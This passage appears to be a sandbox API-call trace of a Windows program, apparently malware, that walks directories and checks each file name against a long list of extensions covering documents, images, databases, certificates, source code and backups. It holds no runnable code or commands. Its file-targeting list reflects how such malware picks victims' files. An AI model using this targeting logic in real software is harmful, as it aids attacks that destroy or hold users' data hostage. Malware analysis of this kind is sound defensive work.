	[0176.071] lstrcmpiW (lpString1=".asm", lpString2=".svg") returned -1
	[0176.071] lstrlenW (lpString=".asmx") returned 5
	[0176.071] lstrcmpiW (lpString1=".asmx", lpString2="n.svg") returned -1
	[0176.071] lstrlenW (lpString=".asp") returned 4
	[0176.071] lstrcmpiW (lpString1=".asp", lpString2=".svg") returned -1
	[0176.071] lstrlenW (lpString=".aspx") returned 5
	[0176.071] lstrcmpiW (lpString1=".aspx", lpString2="n.svg") returned -1
	[0176.071] lstrlenW (lpString=".asr") returned 4
	[0176.071] lstrcmpiW (lpString1=".asr", lpString2=".svg") returned -1
	[0176.071] lstrlenW (lpString=".asx") returned 4
	[0176.071] lstrcmpiW (lpString1=".asx", lpString2=".svg") returned -1
	[0176.071] lstrlenW (lpString=".avi") returned 4
	[0176.071] lstrcmpiW (lpString1=".avi", lpString2=".svg") returned -1
	[0176.071] lstrlenW (lpString=".avs") returned 4
	[0176.071] lstrcmpiW (lpString1=".avs", lpString2=".svg") returned -1
	[0176.071] lstrlenW (lpString=".backup") returned 7
	[0176.071] lstrcmpiW (lpString1=".backup", lpString2="con.svg") returned -1
	[0176.071] lstrlenW (lpString=".bak") returned 4
	[0176.071] lstrcmpiW (lpString1=".bak", lpString2=".svg") returned -1
	[0176.071] lstrlenW (lpString=".bay") returned 4
	[0176.071] lstrcmpiW (lpString1=".bay", lpString2=".svg") returned -1
	[0176.071] lstrlenW (lpString=".bd") returned 3
	[0176.071] lstrcmpiW (lpString1=".bd", lpString2="svg") returned -1
	[0176.072] lstrlenW (lpString=".bin") returned 4
	[0176.072] lstrcmpiW (lpString1=".bin", lpString2=".svg") returned -1
	[0176.072] lstrlenW (lpString=".bmp") returned 4
	[0176.072] lstrcmpiW (lpString1=".bmp", lpString2=".svg") returned -1
	[0176.072] lstrlenW (lpString=".bz2") returned 4
	[0176.072] lstrcmpiW (lpString1=".bz2", lpString2=".svg") returned -1
	[0176.072] lstrlenW (lpString=".c") returned 2
	[0176.072] lstrcmpiW (lpString1=".c", lpString2="vg") returned -1
	[0176.072] lstrlenW (lpString=".cdr") returned 4
	[0176.072] lstrcmpiW (lpString1=".cdr", lpString2=".svg") returned -1
	[0176.072] lstrlenW (lpString=".cer") returned 4
	[0176.072] lstrcmpiW (lpString1=".cer", lpString2=".svg") returned -1
	[0176.072] lstrlenW (lpString=".cf") returned 3
	[0176.072] lstrcmpiW (lpString1=".cf", lpString2="svg") returned -1
	[0176.072] lstrlenW (lpString=".cfc") returned 4
	[0176.072] lstrcmpiW (lpString1=".cfc", lpString2=".svg") returned -1
	[0176.072] lstrlenW (lpString=".cfm") returned 4
	[0176.072] lstrcmpiW (lpString1=".cfm", lpString2=".svg") returned -1
	[0176.072] lstrlenW (lpString=".cfml") returned 5
	[0176.072] lstrcmpiW (lpString1=".cfml", lpString2="n.svg") returned -1
	[0176.072] lstrlenW (lpString=".cfu") returned 4
	[0176.072] lstrcmpiW (lpString1=".cfu", lpString2=".svg") returned -1
	[0176.072] lstrlenW (lpString=".chm") returned 4
	[0176.072] lstrcmpiW (lpString1=".chm", lpString2=".svg") returned -1
	[0176.072] lstrlenW (lpString=".cin") returned 4
	[0176.072] lstrcmpiW (lpString1=".cin", lpString2=".svg") returned -1
	[0176.072] lstrlenW (lpString=".class") returned 6
	[0176.072] lstrcmpiW (lpString1=".class", lpString2="on.svg") returned -1
	[0176.072] lstrlenW (lpString=".clx") returned 4
	[0176.072] lstrcmpiW (lpString1=".clx", lpString2=".svg") returned -1
	[0176.072] lstrlenW (lpString=".config") returned 7
	[0176.072] lstrcmpiW (lpString1=".config", lpString2="con.svg") returned -1
	[0176.072] lstrlenW (lpString=".cpp") returned 4
	[0176.073] lstrcmpiW (lpString1=".cpp", lpString2=".svg") returned -1
	[0176.073] lstrlenW (lpString=".cr2") returned 4
	[0176.073] lstrcmpiW (lpString1=".cr2", lpString2=".svg") returned -1
	[0176.073] lstrlenW (lpString=".crt") returned 4
	[0176.073] lstrcmpiW (lpString1=".crt", lpString2=".svg") returned -1
	[0176.073] lstrlenW (lpString=".crw") returned 4
	[0176.073] lstrcmpiW (lpString1=".crw", lpString2=".svg") returned -1
	[0176.073] lstrlenW (lpString=".cs") returned 3
	[0176.073] lstrcmpiW (lpString1=".cs", lpString2="svg") returned -1
	[0176.073] lstrlenW (lpString=".css") returned 4
	[0176.073] lstrcmpiW (lpString1=".css", lpString2=".svg") returned -1
	[0176.073] lstrlenW (lpString=".csv") returned 4
	[0176.073] lstrcmpiW (lpString1=".csv", lpString2=".svg") returned -1
	[0176.073] lstrlenW (lpString=".cub") returned 4
	[0176.073] lstrcmpiW (lpString1=".cub", lpString2=".svg") returned -1
	[0176.073] lstrlenW (lpString=".dae") returned 4
	[0176.073] lstrcmpiW (lpString1=".dae", lpString2=".svg") returned -1
	[0176.073] lstrlenW (lpString=".dat") returned 4
	[0176.073] lstrcmpiW (lpString1=".dat", lpString2=".svg") returned -1
	[0176.073] lstrlenW (lpString=".db") returned 3
	[0176.073] lstrcmpiW (lpString1=".db", lpString2="svg") returned -1
	[0176.073] lstrlenW (lpString=".dbf") returned 4
	[0176.073] lstrcmpiW (lpString1=".dbf", lpString2=".svg") returned -1
	[0176.073] lstrlenW (lpString=".dbx") returned 4
	[0176.073] lstrcmpiW (lpString1=".dbx", lpString2=".svg") returned -1
	[0176.073] lstrlenW (lpString=".dc3") returned 4
	[0176.073] lstrcmpiW (lpString1=".dc3", lpString2=".svg") returned -1
	[0176.073] lstrlenW (lpString=".dcm") returned 4
	[0176.073] lstrcmpiW (lpString1=".dcm", lpString2=".svg") returned -1
	[0176.073] lstrlenW (lpString=".dcr") returned 4
	[0176.073] lstrcmpiW (lpString1=".dcr", lpString2=".svg") returned -1
	[0176.074] lstrlenW (lpString=".der") returned 4
	[0176.074] lstrcmpiW (lpString1=".der", lpString2=".svg") returned -1
	[0176.074] lstrlenW (lpString=".dib") returned 4
	[0176.074] lstrcmpiW (lpString1=".dib", lpString2=".svg") returned -1
	[0176.074] lstrlenW (lpString=".dic") returned 4
	[0176.074] lstrcmpiW (lpString1=".dic", lpString2=".svg") returned -1
	[0176.074] lstrlenW (lpString=".dif") returned 4
	[0176.074] lstrcmpiW (lpString1=".dif", lpString2=".svg") returned -1
	[0176.074] lstrlenW (lpString=".divx") returned 5
	[0176.074] lstrcmpiW (lpString1=".divx", lpString2="n.svg") returned -1
	[0176.074] lstrlenW (lpString=".djvu") returned 5
	[0176.074] lstrcmpiW (lpString1=".djvu", lpString2="n.svg") returned -1
	[0176.074] lstrlenW (lpString=".dng") returned 4
	[0176.074] lstrcmpiW (lpString1=".dng", lpString2=".svg") returned -1
	[0176.074] lstrlenW (lpString=".doc") returned 4
	[0176.074] lstrcmpiW (lpString1=".doc", lpString2=".svg") returned -1
	[0176.074] lstrlenW (lpString=".docm") returned 5
	[0176.074] lstrcmpiW (lpString1=".docm", lpString2="n.svg") returned -1
	[0176.074] lstrlenW (lpString=".docx") returned 5
	[0176.074] lstrcmpiW (lpString1=".docx", lpString2="n.svg") returned -1
	[0176.074] lstrlenW (lpString=".dot") returned 4
	[0176.074] lstrcmpiW (lpString1=".dot", lpString2=".svg") returned -1
	[0176.074] lstrlenW (lpString=".dotm") returned 5
	[0176.074] lstrcmpiW (lpString1=".dotm", lpString2="n.svg") returned -1
	[0176.074] lstrlenW (lpString=".dotx") returned 5
	[0176.074] lstrcmpiW (lpString1=".dotx", lpString2="n.svg") returned -1
	[0176.074] lstrlenW (lpString=".dpx") returned 4
	[0176.074] lstrcmpiW (lpString1=".dpx", lpString2=".svg") returned -1
	[0176.074] lstrlenW (lpString=".dqy") returned 4
	[0176.074] lstrcmpiW (lpString1=".dqy", lpString2=".svg") returned -1
	[0176.074] lstrlenW (lpString=".dsn") returned 4
	[0176.074] lstrcmpiW (lpString1=".dsn", lpString2=".svg") returned -1
	[0176.074] lstrlenW (lpString=".dt") returned 3
	[0176.074] lstrcmpiW (lpString1=".dt", lpString2="svg") returned -1
	[0176.075] lstrlenW (lpString=".dtd") returned 4
	[0176.075] lstrcmpiW (lpString1=".dtd", lpString2=".svg") returned -1
	[0176.075] lstrlenW (lpString=".dwg") returned 4
	[0176.075] lstrcmpiW (lpString1=".dwg", lpString2=".svg") returned -1
	[0176.075] lstrlenW (lpString=".dwt") returned 4
	[0176.075] lstrcmpiW (lpString1=".dwt", lpString2=".svg") returned -1
	[0176.075] lstrlenW (lpString=".dx") returned 3
	[0176.075] lstrcmpiW (lpString1=".dx", lpString2="svg") returned -1
	[0176.075] lstrlenW (lpString=".dxf") returned 4
	[0176.075] lstrcmpiW (lpString1=".dxf", lpString2=".svg") returned -1
	[0176.075] lstrlenW (lpString=".edml") returned 5
	[0176.075] lstrcmpiW (lpString1=".edml", lpString2="n.svg") returned -1
	[0176.075] lstrlenW (lpString=".efd") returned 4
	[0176.075] lstrcmpiW (lpString1=".efd", lpString2=".svg") returned -1
	[0176.075] lstrlenW (lpString=".elf") returned 4
	[0176.075] lstrcmpiW (lpString1=".elf", lpString2=".svg") returned -1
	[0176.075] lstrlenW (lpString=".emf") returned 4
	[0176.075] lstrcmpiW (lpString1=".emf", lpString2=".svg") returned -1
	[0176.075] lstrlenW (lpString=".emz") returned 4
	[0176.075] lstrcmpiW (lpString1=".emz", lpString2=".svg") returned -1
	[0176.075] lstrlenW (lpString=".epf") returned 4
	[0176.075] lstrcmpiW (lpString1=".epf", lpString2=".svg") returned -1
	[0176.075] lstrlenW (lpString=".eps") returned 4
	[0176.075] lstrcmpiW (lpString1=".eps", lpString2=".svg") returned -1
	[0176.075] lstrlenW (lpString=".epsf") returned 5
	[0176.075] lstrcmpiW (lpString1=".epsf", lpString2="n.svg") returned -1
	[0176.075] lstrlenW (lpString=".epsp") returned 5
	[0176.075] lstrcmpiW (lpString1=".epsp", lpString2="n.svg") returned -1
	[0176.075] lstrlenW (lpString=".erf") returned 4
	[0176.075] lstrcmpiW (lpString1=".erf", lpString2=".svg") returned -1
	[0176.075] lstrlenW (lpString=".exr") returned 4
	[0176.075] lstrcmpiW (lpString1=".exr", lpString2=".svg") returned -1
	[0176.075] lstrlenW (lpString=".f4v") returned 4
	[0176.075] lstrcmpiW (lpString1=".f4v", lpString2=".svg") returned -1
	[0176.076] lstrlenW (lpString=".fido") returned 5
	[0176.076] lstrcmpiW (lpString1=".fido", lpString2="n.svg") returned -1
	[0176.076] lstrlenW (lpString=".flm") returned 4
	[0176.076] lstrcmpiW (lpString1=".flm", lpString2=".svg") returned -1
	[0176.076] lstrlenW (lpString=".flv") returned 4
	[0176.076] lstrcmpiW (lpString1=".flv", lpString2=".svg") returned -1
	[0176.076] lstrlenW (lpString=".frm") returned 4
	[0176.076] lstrcmpiW (lpString1=".frm", lpString2=".svg") returned -1
	[0176.076] lstrlenW (lpString=".fxg") returned 4
	[0176.076] lstrcmpiW (lpString1=".fxg", lpString2=".svg") returned -1
	[0176.076] lstrlenW (lpString=".geo") returned 4
	[0176.076] lstrcmpiW (lpString1=".geo", lpString2=".svg") returned -1
	[0176.076] lstrlenW (lpString=".gif") returned 4
	[0176.076] lstrcmpiW (lpString1=".gif", lpString2=".svg") returned -1
	[0176.076] lstrlenW (lpString=".grs") returned 4
	[0176.076] lstrcmpiW (lpString1=".grs", lpString2=".svg") returned -1
	[0176.076] lstrlenW (lpString=".gz") returned 3
	[0176.076] lstrcmpiW (lpString1=".gz", lpString2="svg") returned -1
	[0176.076] lstrlenW (lpString=".h") returned 2
	[0176.076] lstrcmpiW (lpString1=".h", lpString2="vg") returned -1
	[0176.076] lstrlenW (lpString=".hdr") returned 4
	[0176.076] lstrcmpiW (lpString1=".hdr", lpString2=".svg") returned -1
	[0176.076] lstrlenW (lpString=".hpp") returned 4
	[0176.076] lstrcmpiW (lpString1=".hpp", lpString2=".svg") returned -1
	[0176.076] lstrlenW (lpString=".hta") returned 4
	[0176.076] lstrcmpiW (lpString1=".hta", lpString2=".svg") returned -1
	[0176.076] lstrlenW (lpString=".htc") returned 4
	[0176.076] lstrcmpiW (lpString1=".htc", lpString2=".svg") returned -1
	[0176.076] lstrlenW (lpString=".htm") returned 4
	[0176.077] lstrcmpiW (lpString1=".htm", lpString2=".svg") returned -1
	[0176.077] lstrlenW (lpString=".html") returned 5
	[0176.077] lstrcmpiW (lpString1=".html", lpString2="n.svg") returned -1
	[0176.077] lstrlenW (lpString=".icb") returned 4
	[0176.077] lstrcmpiW (lpString1=".icb", lpString2=".svg") returned -1
	[0176.077] lstrlenW (lpString=".ics") returned 4
	[0176.077] lstrcmpiW (lpString1=".ics", lpString2=".svg") returned -1
	[0176.077] lstrlenW (lpString=".iff") returned 4
	[0176.077] lstrcmpiW (lpString1=".iff", lpString2=".svg") returned -1
	[0176.077] lstrlenW (lpString=".inc") returned 4
	[0176.077] lstrcmpiW (lpString1=".inc", lpString2=".svg") returned -1
	[0176.077] lstrlenW (lpString=".indd") returned 5
	[0176.077] lstrcmpiW (lpString1=".indd", lpString2="n.svg") returned -1
	[0176.077] lstrlenW (lpString=".ini") returned 4
	[0176.077] lstrcmpiW (lpString1=".ini", lpString2=".svg") returned -1
	[0176.077] lstrlenW (lpString=".iqy") returned 4
	[0176.077] lstrcmpiW (lpString1=".iqy", lpString2=".svg") returned -1
	[0176.077] lstrlenW (lpString=".j2c") returned 4
	[0176.077] lstrcmpiW (lpString1=".j2c", lpString2=".svg") returned -1
	[0176.077] lstrlenW (lpString=".j2k") returned 4
	[0176.077] lstrcmpiW (lpString1=".j2k", lpString2=".svg") returned -1
	[0176.077] lstrlenW (lpString=".java") returned 5
	[0176.077] lstrcmpiW (lpString1=".java", lpString2="n.svg") returned -1
	[0176.077] lstrlenW (lpString=".jp2") returned 4
	[0176.077] lstrcmpiW (lpString1=".jp2", lpString2=".svg") returned -1
	[0176.077] lstrlenW (lpString=".jpc") returned 4
	[0176.077] lstrcmpiW (lpString1=".jpc", lpString2=".svg") returned -1
	[0176.077] lstrlenW (lpString=".jpe") returned 4
	[0176.077] lstrcmpiW (lpString1=".jpe", lpString2=".svg") returned -1
	[0176.077] lstrlenW (lpString=".jpeg") returned 5
	[0176.077] lstrcmpiW (lpString1=".jpeg", lpString2="n.svg") returned -1
	[0176.077] lstrlenW (lpString=".jpf") returned 4
	[0176.077] lstrcmpiW (lpString1=".jpf", lpString2=".svg") returned -1
	[0176.077] lstrlenW (lpString=".jpg") returned 4
	[0176.078] lstrcmpiW (lpString1=".jpg", lpString2=".svg") returned -1
	[0176.078] lstrlenW (lpString=".jpx") returned 4
	[0176.078] lstrcmpiW (lpString1=".jpx", lpString2=".svg") returned -1
	[0176.078] lstrlenW (lpString=".js") returned 3
	[0176.078] lstrcmpiW (lpString1=".js", lpString2="svg") returned -1
	[0176.078] lstrlenW (lpString=".jsf") returned 4
	[0176.078] lstrcmpiW (lpString1=".jsf", lpString2=".svg") returned -1
	[0176.078] lstrlenW (lpString=".json") returned 5
	[0176.078] lstrcmpiW (lpString1=".json", lpString2="n.svg") returned -1
	[0176.078] lstrlenW (lpString=".jsp") returned 4
	[0176.078] lstrcmpiW (lpString1=".jsp", lpString2=".svg") returned -1
	[0176.078] lstrlenW (lpString=".kdc") returned 4
	[0176.078] lstrcmpiW (lpString1=".kdc", lpString2=".svg") returned -1
	[0176.078] lstrlenW (lpString=".kmz") returned 4
	[0176.078] lstrcmpiW (lpString1=".kmz", lpString2=".svg") returned -1
	[0176.078] lstrlenW (lpString=".kwm") returned 4
	[0176.078] lstrcmpiW (lpString1=".kwm", lpString2=".svg") returned -1
	[0176.078] lstrlenW (lpString=".lasso") returned 6
	[0176.078] lstrcmpiW (lpString1=".lasso", lpString2="on.svg") returned -1
	[0176.078] lstrlenW (lpString=".lbi") returned 4
	[0176.078] lstrcmpiW (lpString1=".lbi", lpString2=".svg") returned -1
	[0176.078] lstrlenW (lpString=".lgf") returned 4
	[0176.078] lstrcmpiW (lpString1=".lgf", lpString2=".svg") returned -1
	[0176.078] lstrlenW (lpString=".lgp") returned 4
	[0176.078] lstrcmpiW (lpString1=".lgp", lpString2=".svg") returned -1
	[0176.078] lstrlenW (lpString=".log") returned 4
	[0176.078] lstrcmpiW (lpString1=".log", lpString2=".svg") returned -1
	[0176.078] lstrlenW (lpString=".m1v") returned 4
	[0176.078] lstrcmpiW (lpString1=".m1v", lpString2=".svg") returned -1
	[0176.078] lstrlenW (lpString=".m4a") returned 4
	[0176.078] lstrcmpiW (lpString1=".m4a", lpString2=".svg") returned -1
	[0176.078] lstrlenW (lpString=".m4v") returned 4
	[0176.078] lstrcmpiW (lpString1=".m4v", lpString2=".svg") returned -1
	[0176.079] lstrlenW (lpString=".max") returned 4
	[0176.079] lstrcmpiW (lpString1=".max", lpString2=".svg") returned -1
	[0176.079] lstrlenW (lpString=".md") returned 3
	[0176.079] lstrcmpiW (lpString1=".md", lpString2="svg") returned -1
	[0176.079] lstrlenW (lpString=".mda") returned 4
	[0176.079] lstrcmpiW (lpString1=".mda", lpString2=".svg") returned -1
	[0176.079] lstrlenW (lpString=".mdb") returned 4
	[0176.079] lstrcmpiW (lpString1=".mdb", lpString2=".svg") returned -1
	[0176.079] lstrlenW (lpString=".mde") returned 4
	[0176.079] lstrcmpiW (lpString1=".mde", lpString2=".svg") returned -1
	[0176.079] lstrlenW (lpString=".mdf") returned 4
	[0176.079] lstrcmpiW (lpString1=".mdf", lpString2=".svg") returned -1
	[0176.079] lstrlenW (lpString=".mdw") returned 4
	[0176.079] lstrcmpiW (lpString1=".mdw", lpString2=".svg") returned -1
	[0176.079] lstrlenW (lpString=".mef") returned 4
	[0176.079] lstrcmpiW (lpString1=".mef", lpString2=".svg") returned -1
	[0176.079] lstrlenW (lpString=".mft") returned 4
	[0176.079] lstrcmpiW (lpString1=".mft", lpString2=".svg") returned -1
	[0176.079] lstrlenW (lpString=".mfw") returned 4
	[0176.079] lstrcmpiW (lpString1=".mfw", lpString2=".svg") returned -1
	[0176.079] lstrlenW (lpString=".mht") returned 4
	[0176.079] lstrcmpiW (lpString1=".mht", lpString2=".svg") returned -1
	[0176.079] lstrlenW (lpString=".mhtml") returned 6
	[0176.079] lstrcmpiW (lpString1=".mhtml", lpString2="on.svg") returned -1
	[0176.079] lstrlenW (lpString=".mka") returned 4
	[0176.079] lstrcmpiW (lpString1=".mka", lpString2=".svg") returned -1
	[0176.079] lstrlenW (lpString=".mkidx") returned 6
	[0176.079] lstrcmpiW (lpString1=".mkidx", lpString2="on.svg") returned -1
	[0176.079] lstrlenW (lpString=".mkv") returned 4
	[0176.079] lstrcmpiW (lpString1=".mkv", lpString2=".svg") returned -1
	[0176.079] lstrlenW (lpString=".mos") returned 4
	[0176.079] lstrcmpiW (lpString1=".mos", lpString2=".svg") returned -1
	[0176.079] lstrlenW (lpString=".mov") returned 4
	[0176.079] lstrcmpiW (lpString1=".mov", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".mp3") returned 4
	[0176.080] lstrcmpiW (lpString1=".mp3", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".mp4") returned 4
	[0176.080] lstrcmpiW (lpString1=".mp4", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".mpeg") returned 5
	[0176.080] lstrcmpiW (lpString1=".mpeg", lpString2="n.svg") returned -1
	[0176.080] lstrlenW (lpString=".mpg") returned 4
	[0176.080] lstrcmpiW (lpString1=".mpg", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".mpv") returned 4
	[0176.080] lstrcmpiW (lpString1=".mpv", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".mrw") returned 4
	[0176.080] lstrcmpiW (lpString1=".mrw", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".msg") returned 4
	[0176.080] lstrcmpiW (lpString1=".msg", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".mxl") returned 4
	[0176.080] lstrcmpiW (lpString1=".mxl", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".myd") returned 4
	[0176.080] lstrcmpiW (lpString1=".myd", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".myi") returned 4
	[0176.080] lstrcmpiW (lpString1=".myi", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".nef") returned 4
	[0176.080] lstrcmpiW (lpString1=".nef", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".nrw") returned 4
	[0176.080] lstrcmpiW (lpString1=".nrw", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".obj") returned 4
	[0176.080] lstrcmpiW (lpString1=".obj", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".odb") returned 4
	[0176.080] lstrcmpiW (lpString1=".odb", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".odc") returned 4
	[0176.080] lstrcmpiW (lpString1=".odc", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".odm") returned 4
	[0176.080] lstrcmpiW (lpString1=".odm", lpString2=".svg") returned -1
	[0176.080] lstrlenW (lpString=".odp") returned 4
	[0176.080] lstrcmpiW (lpString1=".odp", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".ods") returned 4
	[0176.081] lstrcmpiW (lpString1=".ods", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".oft") returned 4
	[0176.081] lstrcmpiW (lpString1=".oft", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".one") returned 4
	[0176.081] lstrcmpiW (lpString1=".one", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".onepkg") returned 7
	[0176.081] lstrcmpiW (lpString1=".onepkg", lpString2="con.svg") returned -1
	[0176.081] lstrlenW (lpString=".onetoc2") returned 8
	[0176.081] lstrcmpiW (lpString1=".onetoc2", lpString2="icon.svg") returned -1
	[0176.081] lstrlenW (lpString=".opt") returned 4
	[0176.081] lstrcmpiW (lpString1=".opt", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".oqy") returned 4
	[0176.081] lstrcmpiW (lpString1=".oqy", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".orf") returned 4
	[0176.081] lstrcmpiW (lpString1=".orf", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".p12") returned 4
	[0176.081] lstrcmpiW (lpString1=".p12", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".p7b") returned 4
	[0176.081] lstrcmpiW (lpString1=".p7b", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".p7c") returned 4
	[0176.081] lstrcmpiW (lpString1=".p7c", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".pam") returned 4
	[0176.081] lstrcmpiW (lpString1=".pam", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".pbm") returned 4
	[0176.081] lstrcmpiW (lpString1=".pbm", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".pct") returned 4
	[0176.081] lstrcmpiW (lpString1=".pct", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".pcx") returned 4
	[0176.081] lstrcmpiW (lpString1=".pcx", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".pdd") returned 4
	[0176.081] lstrcmpiW (lpString1=".pdd", lpString2=".svg") returned -1
	[0176.081] lstrlenW (lpString=".pdf") returned 4
	[0176.082] lstrcmpiW (lpString1=".pdf", lpString2=".svg") returned -1
	[0176.082] lstrlenW (lpString=".pdp") returned 4
	[0176.082] lstrcmpiW (lpString1=".pdp", lpString2=".svg") returned -1
	[0176.082] lstrlenW (lpString=".pef") returned 4
	[0176.082] lstrcmpiW (lpString1=".pef", lpString2=".svg") returned -1
	[0176.082] lstrlenW (lpString=".pem") returned 4
	[0176.082] lstrcmpiW (lpString1=".pem", lpString2=".svg") returned -1
	[0176.082] lstrlenW (lpString=".pff") returned 4
	[0176.082] lstrcmpiW (lpString1=".pff", lpString2=".svg") returned -1
	[0176.082] lstrlenW (lpString=".pfm") returned 4
	[0176.082] lstrcmpiW (lpString1=".pfm", lpString2=".svg") returned -1
	[0176.082] lstrlenW (lpString=".pfx") returned 4
	[0176.082] lstrcmpiW (lpString1=".pfx", lpString2=".svg") returned -1
	[0176.082] lstrlenW (lpString=".pgm") returned 4
	[0176.082] lstrcmpiW (lpString1=".pgm", lpString2=".svg") returned -1
	[0176.082] lstrlenW (lpString=".php") returned 4
	[0176.082] lstrcmpiW (lpString1=".php", lpString2=".svg") returned -1
	[0176.082] lstrlenW (lpString=".php3") returned 5
	[0176.082] lstrcmpiW (lpString1=".php3", lpString2="n.svg") returned -1
	[0176.082] lstrlenW (lpString=".php4") returned 5
	[0176.082] lstrcmpiW (lpString1=".php4", lpString2="n.svg") returned -1
	[0176.082] lstrlenW (lpString=".php5") returned 5
	[0176.082] lstrcmpiW (lpString1=".php5", lpString2="n.svg") returned -1
	[0176.082] lstrlenW (lpString=".phtml") returned 6
	[0176.082] lstrcmpiW (lpString1=".phtml", lpString2="on.svg") returned -1
	[0176.082] lstrlenW (lpString=".pict") returned 5
	[0176.082] lstrcmpiW (lpString1=".pict", lpString2="n.svg") returned -1
	[0176.082] lstrlenW (lpString=".pl") returned 3
	[0176.082] lstrcmpiW (lpString1=".pl", lpString2="svg") returned -1
	[0176.082] lstrlenW (lpString=".pls") returned 4
	[0176.082] lstrcmpiW (lpString1=".pls", lpString2=".svg") returned -1
	[0176.082] lstrlenW (lpString=".pm") returned 3
	[0176.082] lstrcmpiW (lpString1=".pm", lpString2="svg") returned -1
	[0176.082] lstrlenW (lpString=".png") returned 4
	[0176.082] lstrcmpiW (lpString1=".png", lpString2=".svg") returned -1
	[0176.082] lstrlenW (lpString=".pnm") returned 4
	[0176.082] lstrcmpiW (lpString1=".pnm", lpString2=".svg") returned -1
	[0176.083] lstrlenW (lpString=".pot") returned 4
	[0176.083] lstrcmpiW (lpString1=".pot", lpString2=".svg") returned -1
	[0176.083] lstrlenW (lpString=".potm") returned 5
	[0176.083] lstrcmpiW (lpString1=".potm", lpString2="n.svg") returned -1
	[0176.083] lstrlenW (lpString=".potx") returned 5
	[0176.083] lstrcmpiW (lpString1=".potx", lpString2="n.svg") returned -1
	[0176.083] lstrlenW (lpString=".ppa") returned 4
	[0176.083] lstrcmpiW (lpString1=".ppa", lpString2=".svg") returned -1
	[0176.083] lstrlenW (lpString=".ppam") returned 5
	[0176.083] lstrcmpiW (lpString1=".ppam", lpString2="n.svg") returned -1
	[0176.083] lstrlenW (lpString=".ppm") returned 4
	[0176.083] lstrcmpiW (lpString1=".ppm", lpString2=".svg") returned -1
	[0176.083] lstrlenW (lpString=".pps") returned 4
	[0176.083] lstrcmpiW (lpString1=".pps", lpString2=".svg") returned -1
	[0176.083] lstrlenW (lpString=".ppsm") returned 5
	[0176.083] lstrcmpiW (lpString1=".ppsm", lpString2="n.svg") returned -1
	[0176.083] lstrlenW (lpString=".ppt") returned 4
	[0176.083] lstrcmpiW (lpString1=".ppt", lpString2=".svg") returned -1
	[0176.083] lstrlenW (lpString=".pptm") returned 5
	[0176.083] lstrcmpiW (lpString1=".pptm", lpString2="n.svg") returned -1
	[0176.083] lstrlenW (lpString=".pptx") returned 5
	[0176.083] lstrcmpiW (lpString1=".pptx", lpString2="n.svg") returned -1
	[0176.083] lstrlenW (lpString=".prn") returned 4
	[0176.083] lstrcmpiW (lpString1=".prn", lpString2=".svg") returned -1
	[0176.083] lstrlenW (lpString=".ps") returned 3
	[0176.083] lstrcmpiW (lpString1=".ps", lpString2="svg") returned -1
	[0176.083] lstrlenW (lpString=".psb") returned 4
	[0176.083] lstrcmpiW (lpString1=".psb", lpString2=".svg") returned -1
	[0176.083] lstrlenW (lpString=".psd") returned 4
	[0176.083] lstrcmpiW (lpString1=".psd", lpString2=".svg") returned -1
	[0176.083] lstrlenW (lpString=".pst") returned 4
	[0176.083] lstrcmpiW (lpString1=".pst", lpString2=".svg") returned -1
	[0176.083] lstrlenW (lpString=".ptx") returned 4
	[0176.084] lstrcmpiW (lpString1=".ptx", lpString2=".svg") returned -1
	[0176.084] lstrlenW (lpString=".pub") returned 4
	[0176.084] lstrcmpiW (lpString1=".pub", lpString2=".svg") returned -1
	[0176.084] lstrlenW (lpString=".pwm") returned 4
	[0176.084] lstrcmpiW (lpString1=".pwm", lpString2=".svg") returned -1
	[0176.084] lstrlenW (lpString=".pxr") returned 4
	[0176.084] lstrcmpiW (lpString1=".pxr", lpString2=".svg") returned -1
	[0176.084] lstrlenW (lpString=".py") returned 3
	[0176.084] lstrcmpiW (lpString1=".py", lpString2="svg") returned -1
	[0176.084] lstrlenW (lpString=".qt") returned 3
	[0176.084] lstrcmpiW (lpString1=".qt", lpString2="svg") returned -1
	[0176.084] lstrlenW (lpString=".r3d") returned 4
	[0176.084] lstrcmpiW (lpString1=".r3d", lpString2=".svg") returned -1
	[0176.084] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0176.084] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
